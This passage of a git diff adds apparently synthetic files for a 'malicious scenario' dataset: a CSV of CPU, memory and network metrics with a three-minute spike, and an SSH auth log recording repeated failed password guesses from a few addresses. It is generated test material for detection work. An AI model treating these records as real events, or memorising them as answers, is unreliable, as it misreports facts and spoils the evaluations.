ssh2 +Aug 26 10:06:27 server sshd[14040]: Failed password for admin from 203.0.113.1 port 46547 ssh2 +Aug 26 10:06:28 server sshd[11105]: Failed password for test from 198.51.100.42 port 15812 ssh2 +Aug 26 10:06:30 server sshd[13181]: Failed password for guest from 203.0.113.1 port 26310 ssh2 +Aug 26 10:06:33 server sshd[11608]: Invalid user root from 198.51.100.42 port 20370 ssh2 +Aug 26 10:06:35 server sshd[13270]: Failed password for ubnt from 203.0.113.118 port 47969 ssh2 +Aug 26 10:06:35 server sshd[13858]: Failed password for admin from 192.0.2.25 port 26136 ssh2 +Aug 26 10:07:05 server CRON[9876]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/mali_dataset/scenario_7/mali_7_12.csv b/mali_dataset/scenario_7/mali_7_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..99efc7f57f0d3e6c8ec23137fc36f21fa7a1bb4f --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-25T22:00:00Z,12.68,44.16,20.73,1.34,0.57 +2025-08-25T22:00:05Z,11.75,44.79,25.6,0.57,1.3 +2025-08-25T22:00:10Z,13.83,41.92,20.68,0.91,1.38 +2025-08-25T22:00:15Z,19.05,40.85,21.87,1.09,1.48 +2025-08-25T22:00:20Z,10.23,40.44,21.12,1.05,1.27 +2025-08-25T22:00:25Z,16.29,43.18,20.24,0.73,1.34 +2025-08-25T22:00:30Z,15.97,41.8,27.84,0.87,0.52 +2025-08-25T22:00:35Z,10.37,42.05,25.65,0.81,1.01 +2025-08-25T22:00:40Z,19.23,44.73,22.02,0.57,1.25 +2025-08-25T22:00:45Z,14.73,40.17,29.76,1.23,0.74 +2025-08-25T22:00:50Z,17.28,41.54,24.75,1.07,0.95 +2025-08-25T22:00:55Z,12.02,41.74,25.93,1.31,0.58 +2025-08-25T22:01:00Z,15.76,44.26,23.35,0.89,1.08 +2025-08-25T22:01:05Z,13.9,40.53,27.87,0.76,0.94 +2025-08-25T22:01:10Z,12.48,40.38,27.56,1.34,1.22 +2025-08-25T22:01:15Z,17.87,43.28,29.04,0.63,0.73 +2025-08-25T22:01:20Z,16.51,40.66,24.18,0.6,1.37 +2025-08-25T22:01:25Z,14.68,41.95,26.27,0.98,0.93 +2025-08-25T22:01:30Z,19.96,42.14,21.56,0.8,0.54 +2025-08-25T22:01:35Z,16.63,41.75,21.81,0.66,1.06 +2025-08-25T22:01:40Z,15.24,42.37,26.1,0.94,1.1 +2025-08-25T22:01:45Z,19.05,40.05,23.23,0.72,1.29 +2025-08-25T22:01:50Z,18.72,44.41,29.67,0.73,1.19 +2025-08-25T22:01:55Z,17.43,42.94,26.59,1.28,0.5 +2025-08-25T22:02:00Z,13.04,43.8,24.0,1.45,1.07 +2025-08-25T22:02:05Z,13.31,40.67,23.67,1.13,1.02 +2025-08-25T22:02:10Z,16.81,42.4,23.28,0.67,1.17 +2025-08-25T22:02:15Z,10.68,40.25,22.66,1.38,1.14 +2025-08-25T22:02:20Z,17.98,41.34,20.47,0.67,0.8 +2025-08-25T22:02:25Z,12.31,42.52,27.78,1.05,1.35 +2025-08-25T22:02:30Z,91.32,40.21,18.76,19.9,1.99 +2025-08-25T22:02:35Z,76.91,42.19,21.51,17.29,2.28 +2025-08-25T22:02:40Z,96.83,39.44,20.74,15.63,2.71 +2025-08-25T22:02:45Z,94.19,40.1,20.54,11.43,2.14 +2025-08-25T22:02:50Z,97.86,40.08,23.51,19.5,2.45 +2025-08-25T22:02:55Z,92.11,40.0,17.91,11.17,1.56 +2025-08-25T22:03:00Z,83.6,38.98,23.33,16.45,1.27 +2025-08-25T22:03:05Z,79.32,42.6,19.49,15.07,1.43 +2025-08-25T22:03:10Z,79.46,38.28,22.81,9.54,2.08 +2025-08-25T22:03:15Z,95.93,40.68,15.79,12.18,2.4 +2025-08-25T22:03:20Z,91.61,39.62,22.22,8.18,1.88 +2025-08-25T22:03:25Z,92.21,38.27,15.61,10.36,1.51 +2025-08-25T22:03:30Z,79.34,41.47,19.17,19.55,2.65 +2025-08-25T22:03:35Z,82.67,39.79,18.44,19.89,1.8 +2025-08-25T22:03:40Z,95.61,42.75,24.12,19.45,1.24 +2025-08-25T22:03:45Z,94.11,41.37,21.35,8.87,2.32 +2025-08-25T22:03:50Z,93.29,42.43,19.73,12.95,1.2 +2025-08-25T22:03:55Z,75.61,40.61,21.52,15.53,1.33 +2025-08-25T22:04:00Z,84.76,38.79,21.08,9.43,1.92 +2025-08-25T22:04:05Z,78.07,42.35,18.0,15.3,1.1 +2025-08-25T22:04:10Z,87.7,39.02,19.22,9.2,1.58 +2025-08-25T22:04:15Z,89.85,42.73,20.05,9.69,2.1 +2025-08-25T22:04:20Z,81.74,38.37,17.9,11.76,1.7 +2025-08-25T22:04:25Z,89.81,40.7,22.86,17.99,1.51 +2025-08-25T22:04:30Z,90.31,38.52,24.91,9.54,1.33 +2025-08-25T22:04:35Z,80.72,38.61,17.2,17.18,1.71 +2025-08-25T22:04:40Z,86.71,38.17,20.85,16.99,1.72 +2025-08-25T22:04:45Z,90.45,41.06,19.44,15.48,1.39 +2025-08-25T22:04:50Z,85.87,39.17,20.52,10.13,1.88 +2025-08-25T22:04:55Z,89.04,38.7,18.05,9.25,2.78 +2025-08-25T22:05:00Z,94.35,40.93,23.22,8.72,2.57 +2025-08-25T22:05:05Z,79.14,41.86,16.41,14.61,1.78 +2025-08-25T22:05:10Z,76.98,40.8,24.98,16.24,1.59 +2025-08-25T22:05:15Z,88.88,41.21,20.58,12.95,1.81 +2025-08-25T22:05:20Z,96.25,42.97,21.59,19.59,2.73 +2025-08-25T22:05:25Z,83.03,42.58,24.57,13.9,1.02 +2025-08-25T22:05:30Z,75.67,39.98,18.46,17.09,2.88 +2025-08-25T22:05:35Z,95.31,42.4,18.84,18.49,2.92 +2025-08-25T22:05:40Z,87.11,42.27,16.67,12.15,2.46 +2025-08-25T22:05:45Z,85.46,39.52,20.81,16.21,2.79 +2025-08-25T22:05:50Z,10.28,41.23,24.46,0.72,1.31 +2025-08-25T22:05:55Z,19.78,43.58,25.66,0.72,1.17 +2025-08-25T22:06:00Z,10.27,40.42,21.12,1.08,1.46 +2025-08-25T22:06:05Z,16.53,44.99,25.86,0.8,0.65 +2025-08-25T22:06:10Z,14.78,40.59,24.4,0.7,0.78 +2025-08-25T22:06:15Z,16.78,40.22,29.46,1.44,1.12 +2025-08-25T22:06:20Z,13.03,40.5,24.59,1.19,0.97 +2025-08-25T22:06:25Z,19.33,43.99,23.57,1.35,0.67 +2025-08-25T22:06:30Z,12.57,43.75,21.33,0.96,1.35 +2025-08-25T22:06:35Z,14.09,44.06,23.44,0.88,0.6 +2025-08-25T22:06:40Z,19.25,41.94,27.94,1.22,0.56 +2025-08-25T22:06:45Z,15.06,40.46,22.57,0.98,1.18 +2025-08-25T22:06:50Z,14.57,44.88,22.54,1.03,1.04 +2025-08-25T22:06:55Z,10.18,41.2,26.55,0.63,1.24 +2025-08-25T22:07:00Z,12.49,43.84,22.83,0.53,0.97 +2025-08-25T22:07:05Z,10.21,41.4,21.05,1.34,1.44 +2025-08-25T22:07:10Z,16.94,41.3,21.25,0.59,1.03 +2025-08-25T22:07:15Z,16.99,40.07,21.86,1.0,1.36 +2025-08-25T22:07:20Z,18.54,41.25,21.84,1.1,1.28 +2025-08-25T22:07:25Z,13.52,42.04,25.85,0.96,0.79 diff --git a/mali_dataset/scenario_7/mali_7_12.log b/mali_dataset/scenario_7/mali_7_12.log new file mode 100644 index 0000000000000000000000000000000000000000..270fe524aefbb2a5afd3f3145de76a32b3915434 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_12.log @@ -0,0 +1,210 @@ +Aug 25 22:00:00 auth-server systemd[1]: Starting daily clean up activities... +Aug 25 22:00:25 auth-server systemd[1]: Starting daily clean up activities... +Aug 25 22:00:50 auth-server systemd[1]: Starting daily clean up activities... +Aug 25 22:01:15 auth-server systemd[1]: Starting daily clean up activities... +Aug 25 22:01:15 auth-server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 22:01:40 auth-server systemd[1]: Starting daily clean up activities... +Aug 25 22:02:05 auth-server systemd[1]: Starting daily clean up activities... +Aug 25 22:02:30 auth-server sshd[3412]: Failed password for invalid user root from 103.207.39.40 port 33881 ssh2 +Aug 25 22:02:32 auth-server sshd[3412]: Failed password for invalid user test from 103.207.39.40 port 49580 ssh2 +Aug 25 22:02:32 auth-server sshd[3772]: Failed password for invalid user test from 45.148.10.151 port 12778 ssh2 +Aug 25 22:02:32 auth-server sshd[3772]: Failed password for invalid user test from 45.148.10.151 port 50822 ssh2 +Aug 25 22:02:34 auth-server sshd[3412]: Failed password for invalid user ubnt from 103.207.39.40 port 41401 ssh2 +Aug 25 22:02:34 auth-server sshd[3772]: Failed password for invalid user user from 103.207.39.40 port 22228 ssh2 +Aug 25 22:02:35 auth-server sshd[3772]: Failed password for invalid user oracle from 185.191.171.12 port 45312 ssh2 +Aug 25 22:02:35 auth-server sshd[3772]: Failed password for invalid user admin from 103.207.39.40 port 38604 ssh2 +Aug 25 22:02:36 auth-server sshd[3772]: Failed password for invalid user backup from 103.207.39.40 port 49613 ssh2 +Aug 25 22:02:37 auth-server sshd[3394]: Failed password for invalid user guest from 45.148.10.151 port 29502 ssh2 +Aug 25 22:02:38 auth-server sshd[3394]: Failed password for invalid user pi from 45.148.10.151 port 16238 ssh2 +Aug 25 22:02:39 auth-server sshd[3394]: Failed password for invalid user admin from 185.191.171.12 port 48994 ssh2 +Aug 25 22:02:39 auth-server sshd[3394]: Failed password for invalid user backup from 103.207.39.40 port 61251 ssh2 +Aug 25 22:02:40 auth-server sshd[3439]: Failed password for invalid user pi from 185.191.171.12 port 58489 ssh2 +Aug 25 22:02:41 auth-server sshd[3394]: Failed password for invalid user oracle from 45.148.10.151 port 36215 ssh2 +Aug 25 22:02:41 auth-server sshd[3394]: Failed password for invalid user oracle from 185.191.171.12 port 11252 ssh2 +Aug 25 22:02:42 auth-server sshd[3394]: Failed password for invalid user oracle from 45.148.10.151 port 40434 ssh2 +Aug 25 22:02:42 auth-server sshd[3394]: Failed password for invalid user test from 185.191.171.12 port 56198 ssh2 +Aug 25 22:02:45 auth-server sshd[3867]: Failed password for invalid user ubnt from 103.207.39.40 port 54202 ssh2 +Aug 25 22:02:46 auth-server sshd[3439]: Failed password for invalid user ubnt from 45.148.10.151 port 30819 ssh2 +Aug 25 22:02:46 auth-server sshd[3867]: Failed password for invalid user ubnt from 103.207.39.40 port 52622 ssh2 +Aug 25 22:02:48 auth-server sshd[3439]: Failed password for invalid user ubnt from 45.148.10.151 port 30714 ssh2 +Aug 25 22:02:48 auth-server sshd[3867]: Failed password for invalid user oracle from 185.191.171.12 port 31796 ssh2 +Aug 25 22:02:48 auth-server sshd[3867]: Failed password for invalid user oracle from 103.207.39.40 port 28973 ssh2 +Aug 25 22:02:48 auth-server sshd[3867]: Failed password for invalid user oracle from 185.191.171.12 port 16990 ssh2 +Aug 25 22:02:50 auth-server sshd[3867]: Failed password for invalid user root from 185.191.171.12 port 55261 ssh2 +Aug 25 22:02:50 auth-server sshd[3867]: Failed password for invalid user test from 185.191.171.12 port 60032 ssh2 +Aug 25 22:02:51 auth-server sshd[3867]: Failed password for invalid user ubnt from 45.148.10.151 port 61008 ssh2 +Aug 25 22:02:51 auth-server sshd[3867]: Failed password for invalid user root from 103.207.39.40 port 12226 ssh2 +Aug 25 22:02:51 auth-server sshd[3867]: Failed password for invalid user pi from 103.207.39.40 port 59162 ssh2 +Aug 25 22:02:52 auth-server sshd[3867]: Failed password for invalid user test from 103.207.39.40 port 35560 ssh2 +Aug 25 22:02:52 auth-server sshd[3867]: Failed password for invalid user pi from 103.207.39.40 port 65486 ssh2 +Aug 25 22:02:56 auth-server sshd[3867]: Failed password for invalid user admin from 45.148.10.151 port 61927 ssh2 +Aug 25 22:02:57 auth-server sshd[3867]: Failed password for invalid user guest from 185.191.171.12 port 61366 ssh2 +Aug 25 22:02:57 auth-server sshd[3867]: Failed password for invalid user ubnt from 185.191.171.12 port 35161 ssh2 +Aug 25 22:02:58 auth-server sshd[3867]: Failed password for invalid user ubnt from 185.191.171.12 port 10163 ssh2 +Aug 25 22:02:59 auth-server sshd[3867]: Failed password for invalid user pi from 45.148.10.151 port 50215 ssh2 +Aug 25 22:02:59 auth-server sshd[3867]: Failed password for invalid user guest from 185.191.171.12 port 15750 ssh2 +Aug 25 22:03:00 auth-server sshd[3867]: Failed password for invalid user oracle from 103.207.39.40 port 36010 ssh2 +Aug 25 22:03:00 auth-server sshd[3867]: Failed password for invalid user oracle from 45.148.10.151 port 35974 ssh2 +Aug 25 22:03:02 auth-server sshd[3867]: Failed password for invalid user root from 103.207.39.40 port 15197 ssh2 +Aug 25 22:03:05 auth-server sshd[3867]: Failed password for invalid user backup from 45.148.10.151 port 24443 ssh2 +Aug 25 22:03:05 auth-server sshd[3867]: Failed password for invalid user ubnt from 45.148.10.151 port 45263 ssh2 +Aug 25 22:03:06 auth-server sshd[3867]: Failed password for invalid user ubnt from 45.148.10.151 port 36042 ssh2 +Aug 25 22:03:07 auth-server sshd[3867]: Failed password for invalid user backup from 185.191.171.12 port 34060 ssh2 +Aug 25 22:03:08 auth-server sshd[3867]: Failed password for invalid user test from 103.207.39.40 port 63777 ssh2 +Aug 25 22:03:09 auth-server sshd[3867]: Failed password for invalid user admin from 103.207.39.40 port 51372 ssh2 +Aug 25 22:03:12 auth-server sshd[3867]: Failed password for invalid user guest from 45.148.10.151 port 22307 ssh2 +Aug 25 22:03:12 auth-server sshd[3460]: Failed password for invalid user admin from 45.148.10.151 port 39811 ssh2 +Aug 25 22:03:14 auth-server sshd[3867]: Failed password for invalid user backup from 45.148.10.151 port 16742 ssh2 +Aug 25 22:03:14 auth-server sshd[3460]: Failed password for invalid user test from 45.148.10.151 port 38306 ssh2 +Aug 25 22:03:18 auth-server sshd[3460]: Failed password for invalid user guest from 45.148.10.151 port 18687 ssh2 +Aug 25 22:03:18 auth-server sshd[3460]: Failed password for invalid user ubnt from 103.207.39.40 port 43366 ssh2 +Aug 25 22:03:19 auth-server sshd[3460]: Failed password for invalid user test from 185.191.171.12 port 16242 ssh2 +Aug 25 22:03:21 auth-server sshd[3460]: Failed password for invalid user guest from 103.207.39.40 port 45101 ssh2 +Aug 25 22:03:21 auth-server sshd[3460]: Failed password for invalid user guest from 45.148.10.151 port 34112 ssh2 +Aug 25 22:03:21 auth-server sshd[3312]: Failed password for invalid user oracle from 45.148.10.151 port 46350 ssh2 +Aug 25 22:03:23 auth-server sshd[3460]: Failed password for invalid user guest from 185.191.171.12 port 35472 ssh2 +Aug 25 22:03:23 auth-server sshd[3460]: Failed password for invalid user admin from 45.148.10.151 port 29746 ssh2 +Aug 25 22:03:24 auth-server sshd[3460]: Failed password for invalid user user from 185.191.171.12 port 36353 ssh2 +Aug 25 22:03:24 auth-server sshd[3460]: Failed password for invalid user user from 185.191.171.12 port 12820 ssh2 +Aug 25 22:03:28 auth-server sshd[3312]: Failed password for invalid user backup from 185.191.171.12 port 33937 ssh2 +Aug 25 22:03:28 auth-server sshd[3312]: Failed password for invalid user admin from 45.148.10.151 port 46008 ssh2 +Aug 25 22:03:28 auth-server sshd[3312]: Failed password for invalid user admin from 45.148.10.151 port 12444 ssh2 +Aug 25 22:03:28 auth-server sshd[3312]: Failed password for invalid user test from 103.207.39.40 port 61324 ssh2 +Aug 25 22:03:29 auth-server sshd[3312]: Failed password for invalid user admin from 185.191.171.12 port 54978 ssh2 +Aug 25 22:03:33 auth-server sshd[3970]: Failed password for invalid user user from 185.191.171.12 port 40957 ssh2 +Aug 25 22:03:33 auth-server sshd[3970]: Failed password for invalid user admin from 185.191.171.12 port 13724 ssh2 +Aug 25 22:03:34 auth-server sshd[3970]: Failed password for invalid user ubnt from 103.207.39.40 port 64763 ssh2 +Aug 25 22:03:35 auth-server sshd[3970]: Failed password for invalid user pi from 103.207.39.40 port 23232 ssh2 +Aug 25 22:03:39 auth-server sshd[3970]: Failed password for invalid user ubnt from 45.148.10.151 port 18333 ssh2 +Aug 25 22:03:39 auth-server sshd[3970]: Failed password for invalid user test from 45.148.10.151 port 17766 ssh2 +Aug 25 22:03:40 auth-server sshd[3970]: Failed password for invalid user user from 45.148.10.151 port 35215 ssh2 +Aug 25 22:03:40 auth-server sshd[3970]: Failed password for invalid user guest from 45.148.10.151 port 53704 ssh2 +Aug 25 22:03:41 auth-server sshd[3970]: Failed password for invalid user user from 45.148.10.151 port 58194 ssh2 +Aug 25 22:03:41 auth-server sshd[3528]: Failed password for invalid user guest from 45.148.10.151 port 23105 ssh2 +Aug 25 22:03:41 auth-server sshd[3528]: Failed password for invalid user pi from 185.191.171.12 port 37659 ssh2 +Aug 25 22:03:43 auth-server sshd[3970]: Failed password for invalid user guest from 45.148.10.151 port 37554 ssh2 +Aug 25 22:03:43 auth-server sshd[3528]: Failed password for invalid user root from 103.207.39.40 port 13906 ssh2 +Aug 25 22:03:45 auth-server sshd[3528]: Failed password for invalid user guest from 103.207.39.40 port 59540 ssh2 +Aug 25 22:03:45 auth-server sshd[3528]: Failed password for invalid user ubnt from 45.148.10.151 port 14828 ssh2 +Aug 25 22:03:46 auth-server sshd[3528]: Failed password for invalid user guest from 185.191.171.12 port 64773 ssh2 +Aug 25 22:03:50 auth-server sshd[3528]: Failed password for invalid user pi from 185.191.171.12 port 45865 ssh2 +Aug 25 22:03:50 auth-server sshd[3528]: Failed password for invalid user guest from 103.207.39.40 port 50707 ssh2 +Aug 25 22:03:51 auth-server sshd[3528]: Failed password for invalid user root from 185.191.171.12 port 25552 ssh2 +Aug 25 22:03:52 auth-server sshd[3528]: Failed password for invalid user oracle from 103.207.39.40 port 13444 ssh2 +Aug 25 22:03:54 auth-server sshd[3528]: Failed password for invalid user root from 45.148.10.151 port 35446 ssh2 +Aug 25 22:03:56 auth-server sshd[3528]: Failed password for invalid user backup from 103.207.39.40 port 36377 ssh2 +Aug 25 22:03:56 auth-server sshd[3528]: Failed password for invalid user guest from 45.148.10.151 port 40746 ssh2 +Aug 25 22:03:58 auth-server sshd[3528]: Failed password for invalid user backup from 103.207.39.40 port 44350 ssh2 +Aug 25 22:04:00 auth-server sshd[3528]: Failed password for invalid user admin from 185.191.171.12 port 49142 ssh2 +Aug 25 22:04:01 auth-server sshd[3528]: Failed password for invalid user oracle from 103.207.39.40 port 56693 ssh2 +Aug 25 22:04:02 auth-server sshd[3528]: Failed password for invalid user guest from 45.148.10.151 port 15146 ssh2 +Aug 25 22:04:02 auth-server sshd[3528]: Failed password for invalid user oracle from 103.207.39.40 port 39719 ssh2 +Aug 25 22:04:02 auth-server sshd[3528]: Failed password for invalid user user from 45.148.10.151 port 36543 ssh2 +Aug 25 22:04:03 auth-server sshd[3528]: Failed password for invalid user user from 45.148.10.151 port 58576 ssh2 +Aug 25 22:04:04 auth-server sshd[3528]: Failed password for invalid user test from 103.207.39.40 port 20507 ssh2 +Aug 25 22:04:05 auth-server sshd[3528]: Failed password for invalid user admin from 103.207.39.40 port 56827 ssh2 +Aug 25 22:04:05 auth-server sshd[3528]: Failed password for invalid user ubnt from 45.148.10.151 port 47090 ssh2 +Aug 25 22:04:08 auth-server sshd[3528]: Failed password for invalid user oracle from 45.148.10.151 port 60167 ssh2 +Aug 25 22:04:08 auth-server sshd[3528]: Failed password for invalid user admin from 45.148.10.151 port 27470 ssh2 +Aug 25 22:04:09 auth-server sshd[3528]: Failed password for invalid user ubnt from 103.207.39.40 port 11363 ssh2 +Aug 25 22:04:10 auth-server sshd[3528]: Failed password for invalid user admin from 45.148.10.151 port 43228 ssh2 +Aug 25 22:04:10 auth-server sshd[3528]: Failed password for invalid user test from 103.207.39.40 port 19494 ssh2 +Aug 25 22:04:11 auth-server sshd[3528]: Failed password for invalid user oracle from 103.207.39.40 port 44734 ssh2 +Aug 25 22:04:12 auth-server sshd[3528]: Failed password for invalid user user from 103.207.39.40 port 34403 ssh2 +Aug 25 22:04:12 auth-server sshd[3528]: Failed password for invalid user ubnt from 103.207.39.40 port 46512 ssh2 +Aug 25 22:04:13 auth-server sshd[3528]: Failed password for invalid user guest from 45.148.10.151 port 47358 ssh2 +Aug 25 22:04:15 auth-server sshd[3900]: Failed password for invalid user root from 103.207.39.40 port 16216 ssh2 +Aug 25 22:04:16 auth-server sshd[3900]: Failed password for invalid user ubnt from 185.191.171.12 port 16163 ssh2 +Aug 25 22:04:16 auth-server sshd[3900]: Failed password for invalid user backup from 45.148.10.151 port 36028 ssh2 +Aug 25 22:04:18 auth-server sshd[3900]: Failed password for invalid user pi from 185.191.171.12 port 38846 ssh2 +Aug 25 22:04:23 auth-server sshd[3042]: Failed password for invalid user guest from 185.191.171.12 port 26825 ssh2 +Aug 25 22:04:24 auth-server sshd[3900]: Failed password for invalid user ubnt from 45.148.10.151 port 27214 ssh2 +Aug 25 22:04:24 auth-server sshd[3042]: Failed password for invalid user backup from 45.148.10.151 port 46223 ssh2 +Aug 25 22:04:25 auth-server sshd[3042]: Failed password for invalid user user from 185.191.171.12 port 34606 ssh2 +Aug 25 22:04:25 auth-server sshd[3042]: Failed password for invalid user ubnt from 103.207.39.40 port 41239 ssh2 +Aug 25 22:04:25 auth-server sshd[3785]: Failed password for invalid user test from 185.191.171.12 port 10832 ssh2 +Aug 25 22:04:27 auth-server sshd[3042]: Failed password for invalid user pi from 185.191.171.12 port 22200 ssh2 +Aug 25 22:04:28 auth-server sshd[3042]: Failed password for invalid user oracle from 103.207.39.40 port 13529 ssh2 +Aug 25 22:04:30 auth-server sshd[3785]: Failed password for invalid user root from 185.191.171.12 port 58567 ssh2 +Aug 25 22:04:31 auth-server sshd[3785]: Failed password for invalid user ubnt from 45.148.10.151 port 32589 ssh2 +Aug 25 22:04:32 auth-server sshd[3785]: Failed password for invalid user root from 185.191.171.12 port 12277 ssh2 +Aug 25 22:04:34 auth-server sshd[3785]: Failed password for invalid user root from 45.148.10.151 port 27982 ssh2 +Aug 25 22:04:36 auth-server sshd[3785]: Failed password for invalid user test from 45.148.10.151 port 59743 ssh2 +Aug 25 22:04:38 auth-server sshd[3785]: Failed password for invalid user guest from 103.207.39.40 port 63213 ssh2 +Aug 25 22:04:38 auth-server sshd[3785]: Failed password for invalid user pi from 103.207.39.40 port 37382 ssh2 +Aug 25 22:04:38 auth-server sshd[3785]: Failed password for invalid user user from 45.148.10.151 port 58497 ssh2 +Aug 25 22:04:39 auth-server sshd[3785]: Failed password for invalid user test from 103.207.39.40 port 31935 ssh2 +Aug 25 22:04:40 auth-server sshd[3785]: Failed password for invalid user admin from 185.191.171.12 port 62365 ssh2 +Aug 25 22:04:41 auth-server sshd[3785]: Failed password for invalid user pi from 185.191.171.12 port 36248 ssh2 +Aug 25 22:04:43 auth-server sshd[3125]: Failed password for invalid user ubnt from 185.191.171.12 port 11885 ssh2 +Aug 25 22:04:44 auth-server sshd[3785]: Failed password for invalid user oracle from 45.148.10.151 port 49871 ssh2 +Aug 25 22:04:45 auth-server sshd[3718]: Failed password for invalid user root from 103.207.39.40 port 54716 ssh2 +Aug 25 22:04:45 auth-server sshd[3718]: Failed password for invalid user root from 45.148.10.151 port 21442 ssh2 +Aug 25 22:04:47 auth-server sshd[3125]: Failed password for invalid user pi from 185.191.171.12 port 60856 ssh2 +Aug 25 22:04:47 auth-server sshd[3125]: Failed password for invalid user backup from 103.207.39.40 port 55342 ssh2 +Aug 25 22:04:48 auth-server sshd[3718]: Failed password for invalid user ubnt from 45.148.10.151 port 16565 ssh2 +Aug 25 22:04:49 auth-server sshd[3125]: Failed password for invalid user backup from 45.148.10.151 port 57493 ssh2 +Aug 25 22:04:49 auth-server sshd[3718]: Failed password for invalid user guest from 45.148.10.151 port 32591 ssh2 +Aug 25 22:04:50 auth-server sshd[3718]: Failed password for invalid user admin from 103.207.39.40 port 63418 ssh2 +Aug 25 22:04:50 auth-server sshd[3718]: Failed password for invalid user guest from 45.148.10.151 port 41171 ssh2 +Aug 25 22:04:51 auth-server sshd[3718]: Failed password for invalid user test from 45.148.10.151 port 17562 ssh2 +Aug 25 22:04:51 auth-server sshd[3718]: Failed password for invalid user pi from 185.191.171.12 port 35597 ssh2 +Aug 25 22:04:52 auth-server sshd[3718]: Failed password for invalid user guest from 103.207.39.40 port 43203 ssh2 +Aug 25 22:04:52 auth-server sshd[3718]: Failed password for invalid user test from 45.148.10.151 port 50978 ssh2 +Aug 25 22:04:56 auth-server sshd[3718]: Failed password for invalid user root from 45.148.10.151 port 25205 ssh2 +Aug 25 22:04:56 auth-server sshd[3718]: Failed password for invalid user ubnt from 45.148.10.151 port 59348 ssh2 +Aug 25 22:04:57 auth-server sshd[3718]: Failed password for invalid user backup from 45.148.10.151 port 19481 ssh2 +Aug 25 22:04:57 auth-server sshd[3718]: Failed password for invalid user root from 45.148.10.151 port 11460 ssh2 +Aug 25 22:04:58 auth-server sshd[3718]: Failed password for invalid user guest from 103.207.39.40 port 60000 ssh2 +Aug 25 22:04:59 auth-server sshd[3718]: Failed password for invalid user test from 45.148.10.151 port 56537 ssh2 +Aug 25 22:05:01 auth-server sshd[3718]: Failed password for invalid user test from 185.191.171.12 port 26666 ssh2 +Aug 25 22:05:04 auth-server sshd[3718]: Failed password for invalid user ubnt from 185.191.171.12 port 17315 ssh2 +Aug 25 22:05:04 auth-server sshd[3718]: Failed password for invalid user guest from 45.148.10.151 port 52329 ssh2 +Aug 25 22:05:04 auth-server sshd[3718]: Failed password for invalid user pi from 185.191.171.12 port 43755 ssh2 +Aug 25 22:05:05 auth-server sshd[3740]: Failed password for invalid user admin from 103.207.39.40 port 36264 ssh2 +Aug 25 22:05:07 auth-server sshd[3104]: Failed password for invalid user root from 103.207.39.40 port 41741 ssh2 +Aug 25 22:05:08 auth-server sshd[3104]: Failed password for invalid user user from 103.207.39.40 port 52041 ssh2 +Aug 25 22:05:08 auth-server sshd[3740]: Failed password for invalid user pi from 45.148.10.151 port 22302 ssh2 +Aug 25 22:05:09 auth-server sshd[3104]: Failed password for invalid user root from 185.191.171.12 port 16648 ssh2 +Aug 25 22:05:09 auth-server sshd[3740]: Failed password for invalid user admin from 185.191.171.12 port 48152 ssh2 +Aug 25 22:05:09 auth-server sshd[3740]: Failed password for invalid user root from 45.148.10.151 port 37112 ssh2 +Aug 25 22:05:11 auth-server sshd[3740]: Failed password for invalid user guest from 45.148.10.151 port 34714 ssh2 +Aug 25 22:05:12 auth-server sshd[3740]: Failed password for invalid user guest from 103.207.39.40 port 63816 ssh2 +Aug 25 22:05:13 auth-server sshd[3740]: Failed password for invalid user admin from 185.191.171.12 port 12493 ssh2 +Aug 25 22:05:14 auth-server sshd[3740]: Failed password for invalid user user from 103.207.39.40 port 23372 ssh2 +Aug 25 22:05:14 auth-server sshd[3740]: Failed password for invalid user test from 185.191.171.12 port 59680 ssh2 +Aug 25 22:05:16 auth-server sshd[3478]: Failed password for invalid user test from 103.207.39.40 port 48874 ssh2 +Aug 25 22:05:18 auth-server sshd[3478]: Failed password for invalid user backup from 45.148.10.151 port 37605 ssh2 +Aug 25 22:05:19 auth-server sshd[3740]: Failed password for invalid user guest from 45.148.10.151 port 55230 ssh2 +Aug 25 22:05:20 auth-server sshd[3478]: Failed password for invalid user oracle from 45.148.10.151 port 60689 ssh2 +Aug 25 22:05:20 auth-server sshd[3478]: Failed password for invalid user guest from 45.148.10.151 port 22042 ssh2 +Aug 25 22:05:24 auth-server sshd[3478]: Failed password for invalid user user from 103.207.39.40 port 15789 ssh2 +Aug 25 22:05:24 auth-server sshd[3478]: Failed password for invalid user oracle from 185.191.171.12 port 39947 ssh2 +Aug 25 22:05:25 auth-server sshd[3478]: Failed password for invalid user admin from 103.207.39.40 port 13311 ssh2 +Aug 25 22:05:25 auth-server sshd[3478]: Failed password for invalid user backup from 45.148.10.151 port 32909 ssh2 +Aug 25 22:05:26 auth-server sshd[3478]: Failed password for invalid user admin from 185.191.171.12 port 19028 ssh2 +Aug 25 22:05:31 auth-server sshd[3478]: Failed password for invalid user user from 185.191.171.12 port 12076 ssh2 +Aug 25 22:05:32 auth-server sshd[3478]: Failed password for invalid user oracle from 185.191.171.12 port 20787 ssh2 +Aug 25 22:05:32 auth-server sshd[3478]: Failed password for invalid user backup from 103.207.39.40 port 30913 ssh2 +Aug 25 22:05:33 auth-server sshd[3478]: Failed password for invalid user pi from 185.191.171.12 port 61854 ssh2 +Aug 25 22:05:33 auth-server sshd[3478]: Failed password for invalid user ubnt from 45.148.10.151 port 58908 ssh2 +Aug 25 22:05:33 auth-server sshd[3478]: Failed password for invalid user backup from 185.191.171.12 port 17935 ssh2 +Aug 25 22:05:34 auth-server sshd[3478]: Failed password for invalid user test from 45.148.10.151 port 43858 ssh2 +Aug 25 22:05:35 auth-server sshd[3478]: Failed password for invalid user guest from 103.207.39.40 port 34298 ssh2 +Aug 25 22:05:35 auth-server sshd[3478]: Failed password for invalid user user from 185.191.171.12 port 49311 ssh2 +Aug 25 22:05:37 auth-server sshd[3478]: Failed password for invalid user oracle from 185.191.171.12 port 21396 ssh2 +Aug 25 22:05:39 auth-server sshd[3984]: Failed password for invalid user guest from 45.148.10.151 port 56962 ssh2 +Aug 25 22:05:41 auth-server sshd[3984]: Failed password for invalid user user from 103.207.39.40 port 13260 ssh2 +Aug 25 22:05:42 auth-server sshd[3984]: Failed password for invalid user admin from 45.148.10.151 port 57532 ssh2 +Aug 25 22:05:43 auth-server sshd[3984]: Failed password for invalid user root from 45.148.10.151 port 32728 ssh2 +Aug 25 22:05:44 auth-server sshd[3984]: Failed password for invalid user admin from 103.207.39.40 port 